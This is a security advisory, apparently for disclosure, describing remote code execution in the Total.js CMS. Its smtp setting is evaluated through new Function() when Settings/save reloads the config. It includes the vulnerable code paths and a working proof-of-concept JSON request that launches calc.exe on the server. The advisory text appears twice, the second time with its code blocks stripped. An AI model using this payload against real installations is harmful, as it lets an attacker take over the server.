Remote Code Execution via unsanitized smtp setting evaluated with new Function() (Settings/save)
Summary
The admin Settings/save action (plugins/settings/schemas/settings.js) copies attacker-controlled HTTP input into the CMS configuration and immediately reloads it.
Total.js evaluates the smtp / mail / mail_smtp_options configuration values as JavaScript via new Function('return ' + value)().
Because the CMS forwards the raw HTTP-supplied string into this path without any type discrimination or whitelisting, an authenticated user with the settings (or admin) permission can achieve remote code execution in the context of the CMS process.
If an attacker gains CMS admin privileges, he can take control of the server running the CMS. This involves crossing the privilege boundary between the web application and the system.
Affected component
- Repository:
totaljs/cms (https://github.com/totaljs/cms/tree/master), (https://github.com/totaljs/cms/tree/v17)
- File:
plugins/settings/schemas/settings.js — Settings/save action
- Route:
plugins/settings/index.js → ROUTE('+API ? +settings_save --> Settings/save')
- Reload path:
definitions/func.js → FUNC.reconfigure() → LOADCONFIG()
- Sink (dependency):
total5 loadconfig() — new Function('return ' + val)() for smtp / mail /
mail_smtp_options
- Verified against two branches (runtime,
calc.exe launched on both), Node.js 24 on Windows:
master (package.json 1.0.0) with total5 0.0.18
v17 (package.json 17.0.0) with total5 0.0.19-1 (beta)
Prerequisites
- A session with the
settings or admin permission. In the default single-admin deployment this is the admin account; in OpenPlatform / multi-user deployments it is any user granted settings.
Description / Root cause
Settings/save copies every submitted key straight into the live config and then reloads it:
// plugins/settings/schemas/settings.js (Settings/save)
for (var key in model) {
if (key !== 'items')
MAIN.db.config[key] = model[key]; // <-- attacker-controlled 'smtp' stored verbatim
}
// ... items[] loop ...
FUNC.reconfigure(); // <-- pushes config into LOADCONFIG()
FUNC.save();
FUNC.reconfigure() forwards the config to LOADCONFIG():
// definitions/func.js (FUNC.reconfigure)
for (var key in MAIN.db.config)
config[key] = MAIN.db.config[key];
LOADCONFIG(config);
Inside total5, loadconfig() treats smtp / mail / mail_smtp_options as evaluable expressions:
// total5/index.js (loadconfig)
case 'smtp':
case 'mail':
if (typeof(val) === 'string')
val = new Function('return ' + val)(); // <-- code execution
...
This design assumes configuration originates from a trusted local config file.
The CMS breaks that assumption by exposing the same config surface over an authenticated HTTP API and passing the value through unchanged — a trust-boundary confusion.
The items[] branch of the same action (MAIN.db.config[m.id] = m.value with no whitelist on m.id) allows reaching mail_smtp_options via the
same sink as well.
Proof of Concept
The payload below is intentionally limited to launching calc.exe as a harmless indicator.
Any OS command can be executed via the same path. total5 exposes global.F.Child (child_process), so no require is needed inside the evaluated function.
- Authenticate as a user with the
settings permission and obtain the session cookie.
- Send:
POST /admin/ HTTP/1.1
Host: <target>
Content-Type: application/json
Cookie: <session cookie>
{"schema":"settings_save","data":{"name":"CMS","smtp":"(function(){F.Child.exec('calc.exe');return {server:'poc'};})()","items":[]}}
FUNC.reconfigure() runs synchronously during request handling; the evaluated function executes and
calc.exe (CalculatorApp.exe) launches on the server.
Observed result (isolated local instance, Node 24 / Windows 11):
calc.exe launched: CalculatorApp.exe -> RCE confirmed
Impact
- Arbitrary OS command execution as the CMS process.
- Breaks the intended privilege boundary: a "settings editor" becomes a server operator.
Remote Code Execution via unsanitized
smtpsetting evaluated withnew Function()(Settings/save)Summary
The admin Settings/save action (
plugins/settings/schemas/settings.js) copies attacker-controlled HTTP input into the CMS configuration and immediately reloads it.Total.js evaluates the
smtp/mail/mail_smtp_optionsconfiguration values as JavaScript vianew Function('return ' + value)().Because the CMS forwards the raw HTTP-supplied string into this path without any type discrimination or whitelisting, an authenticated user with the
settings(oradmin) permission can achieve remote code execution in the context of the CMS process.If an attacker gains CMS admin privileges, he can take control of the server running the CMS. This involves crossing the privilege boundary between the web application and the system.
Affected component
totaljs/cms(https://github.com/totaljs/cms/tree/master), (https://github.com/totaljs/cms/tree/v17)plugins/settings/schemas/settings.js—Settings/saveactionplugins/settings/index.js→ROUTE('+API ? +settings_save --> Settings/save')definitions/func.js→FUNC.reconfigure()→LOADCONFIG()total5loadconfig()—new Function('return ' + val)()forsmtp/mail/mail_smtp_optionscalc.exelaunched on both), Node.js 24 on Windows:master(package.json1.0.0) withtotal50.0.18v17(package.json17.0.0) withtotal50.0.19-1(beta)Prerequisites
settingsoradminpermission. In the default single-admin deployment this is the admin account; in OpenPlatform / multi-user deployments it is any user grantedsettings.Description / Root cause
Settings/savecopies every submitted key straight into the live config and then reloads it:FUNC.reconfigure()forwards the config toLOADCONFIG():Inside
total5,loadconfig()treatssmtp/mail/mail_smtp_optionsas evaluable expressions:This design assumes configuration originates from a trusted local
configfile.The CMS breaks that assumption by exposing the same config surface over an authenticated HTTP API and passing the value through unchanged — a trust-boundary confusion.
The
items[]branch of the same action (MAIN.db.config[m.id] = m.valuewith no whitelist onm.id) allows reachingmail_smtp_optionsvia thesame sink as well.
Proof of Concept
settingspermission and obtain the session cookie.FUNC.reconfigure()runs synchronously during request handling; the evaluated function executes andcalc.exe(CalculatorApp.exe) launches on the server.Observed result (isolated local instance, Node 24 / Windows 11):
Impact